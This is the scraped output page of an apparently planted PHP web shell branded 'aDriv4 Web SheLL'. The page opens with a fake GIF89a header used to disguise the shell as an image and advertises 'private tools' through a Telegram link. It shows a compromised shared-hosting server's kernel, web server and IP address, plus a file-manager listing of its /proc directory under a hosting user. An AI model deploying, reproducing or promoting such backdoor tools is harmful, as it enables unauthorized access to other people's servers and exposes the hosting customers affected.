GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server64.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
 LiteSpeed
 198.54.115.248

Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-05-19 08:54:27
.. dir - root/root 0755 2024-05-19 08:32:21
3042334 dir - trueqylo/trueqylo 0555 2025-07-07 10:45:58
372875 dir - trueqylo/trueqylo 0555 2025-07-07 10:45:22
393625 dir - trueqylo/trueqylo 0555 2025-07-07 10:45:58
403100 dir - trueqylo/trueqylo 0555 2025-07-07 10:45:50
406841 dir - trueqylo/trueqylo 0555 2025-07-07 10:45:58
413900 dir - trueqylo/trueqylo 0555 2025-07-07 10:46:16
acpi dir - root/root 0555 2024-05-19 12:56:04
bus dir - root/root 0555 2024-05-19 12:56:25
driver dir - root/root 0555 2025-07-07 10:46:17
fs dir - root/root 0555 2024-05-19 12:56:25
irq dir - root/root 0555 2024-05-19 12:56:09
kcare dir - root/root 0555 2025-07-07 10:46:17
lve dir - root/root 0555 2025-07-07 10:46:07
net link - trueqylo/trueqylo 0555 2025-07-07 10:46:20
scsi dir - root/root 0555 2024-05-19 12:56:25
self link - trueqylo/trueqylo 0555 2025-07-07 10:45:58
sys dir - root/root 0555 2024-05-19 08:55:57
sysvipc dir - root/root 0555 2025-07-07 10:46:17
thread-self link - trueqylo/trueqylo 0555 2025-07-07 10:46:07
tty dir - root/root 0555 2025-07-07 10:46:17
buddyinfo 0 B root/root 0444 2025-07-07 10:46:17
cgroups 0 B root/root 0444 2025-07-07 10:46:17
cmdline text/plain 0 B root/root 0444 2025-07-07 10:46:08
consoles 0 B root/root 0444 2025-07-07 10:46:17
cpuinfo text/plain 0 B root/root 0444 2025-07-07 10:46:07
crypto 0 B root/root 0444 2025-07-07 10:46:17
devices 0 B root/root 0444 2025-07-07 10:46:17
diskstats 0 B root/root 0444 2025-07-07 10:46:11
dma 0 B root/root 0444 2025-07-07 10:46:17
execdomains 0 B root/root 0444 2025-07-07 10:46:17
fb 0 B root/root 0444 2025-07-07 10:46:17
filesystems text/plain 0 B root/root 0444 2025-07-07 10:40:27
interrupts 0 B root/root 0444 2025-07-07 10:46:16
iomem 0 B root/root 0444 2025-07-07 10:46:17
ioports 0 B root/root 0444 2025-07-07 10:46:17
kallsyms 0 B root/root 0444 2024-05-19 12:56:25
kcore 128 TB root/root 0400 2024-05-19 12:56:04
key-users 0 B root/root 0444 2025-07-07 10:46:17
keys 0 B root/root 0444 2025-07-07 10:46:17
kmsg 0 B root/root 0400 2025-07-07 10:46:17
kpagecgroup 0 B root/root 0400 2025-07-07 10:46:17
kpagecount 0 B root/root 0400 2025-07-07 10:46:17
kpageflags 0 B root/root 0400 2025-07-07 10:46:17
loadavg text/plain 0 B root/root 0444 2025-07-07 10:46:06
locks 0 B root/root 0444 2025-07-07 10:46:17
mdstat 0 B root/root 0444 2025-07-07 10:46:17
meminfo text/plain 0 B root/root 0444 2025-07-07 10:40:54
misc 0 B root/root 0444 2025-07-07 10:46:17
modules 0 B root/root 0444 2025-07-07 10:46:17
mounts text/plain 0 B trueqylo/trueqylo 0444 2025-07-07 10:46:20
mtrr 0 B root/root 0644 2024-05-19 12:56:25
pagetypeinfo 0 B root/root 0400 2025-07-07 10:46:17
partitions 0 B root/root 0444 2025-07-07 10:46:17
sched_debug 0 B root/root 0444 2025-07-07 10:46:17
schedstat 0 B root/root 0444 2025-07-07 10:46:17
slabinfo 0 B root/root 0400 2025-07-07 10:46:17
softirqs 0 B root/root 0444 2025-07-07 10:46:17
stat text/plain 0 B root/root 0444 2025-07-07 10:41:31
swaps 0 B root/root 0444 2024-05-19 08:55:58
sysrq-trigger 0 B root/root 0200 2024-05-19 12:56:25
timer_list 0 B root/root 0400 2025-07-07 10:46:17
uptime text/plain 0 B root/root 0444 2025-07-07 10:40:54
version text/plain 0 B root/root 0444 2025-07-07 10:46:17
vmallocinfo 0 B root/root 0400 2025-07-07 10:46:17
vmstat 0 B root/root 0444 2025-07-07 10:46:11
zoneinfo 0 B root/root 0444 2025-07-07 10:46:17
© aDriv4